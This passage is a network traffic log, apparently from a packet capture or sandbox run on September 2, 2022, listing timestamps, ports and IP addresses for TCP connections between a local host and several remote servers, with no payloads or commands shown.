Sep 2, 2022 14:02:20.767550945 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767561913 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767582893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767592907 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767612934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767625093 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767647028 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767657995 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767678976 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767688990 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767714977 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767723083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767744064 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767757893 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767779112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767792940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767818928 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767837048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767874002 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767884016 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767914057 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.767931938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767965078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.767977953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768002987 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768022060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768054962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768069029 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768095970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768112898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768145084 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768158913 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768188000 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768201113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768232107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768244982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768274069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768287897 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768318892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768331051 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768358946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768374920 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768405914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768419981 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768455029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768465042 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768492937 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768507957 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768541098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768557072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768587112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768604040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768636942 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768665075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768675089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768699884 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768732071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768757105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768770933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768779993 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768800974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768821955 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768835068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768866062 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768873930 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768893003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768914938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768935919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.768954992 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768974066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.768984079 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769006968 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769018888 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769040108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769054890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769069910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769104004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769113064 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769148111 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769156933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769186020 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769197941 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769226074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769252062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769282103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769295931 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769299984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769330025 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769341946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769351006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769386053 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769399881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769429922 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769459009 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769473076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769500017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769520044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769546986 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769556046 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769577026 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769592047 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769598961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769620895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769644976 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769659042 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769668102 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769684076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769696951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769720078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769736052 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769753933 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769763947 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769785881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769794941 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769812107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769824982 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769836903 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769849062 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769865036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769877911 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769893885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769901991 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769917965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769932032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769947052 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769956112 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769970894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.769980907 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.769994974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770013094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770020962 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770025969 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770051956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770059109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770086050 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770092964 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770117044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770131111 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770148993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770169020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770186901 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770196915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770215034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770222902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770237923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770247936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770268917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770292044 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770299911 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770311117 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770328999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770339012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770354033 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770365953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770379066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770391941 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770402908 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770416975 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770428896 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770442963 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770453930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770464897 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770478964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770489931 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770503044 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770518064 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770528078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770539045 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770556927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770570040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770581961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770595074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770617008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770638943 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770653009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770663977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770688057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770699024 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770716906 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770730019 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770741940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770756006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770766973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770780087 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770792961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770804882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770817995 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770828962 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770843983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770854950 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770868063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770883083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770893097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770908117 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770919085 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770931959 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770944118 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770962000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.770972013 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.770979881 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771003008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771011114 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771034002 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771045923 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771070004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771080971 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771097898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771109104 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771122932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771137953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771147966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771158934 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771172047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771188021 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771198034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771215916 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771224976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771250010 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771258116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771264076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771287918 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771297932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771322012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771334887 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771365881 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771384954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771404028 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771420956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771430016 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771445036 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771456957 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771462917 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771478891 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771493912 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771503925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771516085 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771528959 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771543980 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771554947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771564960 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771579981 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771591902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771605015 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771616936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771630049 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771642923 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771652937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771667957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771678925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771692038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771703005 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771716118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771727085 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771740913 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771752119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771763086 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771775961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771790028 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771800041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771811008 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771823883 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771837950 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771848917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771861076 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771872997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771884918 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771898031 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771909952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771922112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771938086 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771945000 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771959066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771969080 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.771981955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.771994114 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.772008896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.772017956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.772034883 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.772044897 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.772063017 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.772070885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.772080898 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.772099972 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.780148983 CEST	80	49779	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.780584097 CEST	80	49781	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.782366037 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782397985 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782422066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782440901 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782448053 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782465935 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782485962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782499075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782510042 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782525063 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782536030 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782552004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782562017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782578945 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782601118 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782608032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782625914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782644987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782653093 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782677889 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782690048 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782716036 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782727957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782747984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782766104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782777071 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782788992 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782799959 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782813072 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782825947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782836914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782851934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782867908 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782879114 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782901049 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782912970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.782924891 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.782957077 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.794807911 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.794902086 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.795038939 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.795087099 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.795126915 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.795150042 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.795170069 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.795217991 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.799627066 CEST	49783	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.799700022 CEST	49782	80	192.168.2.6	87.240.132.78
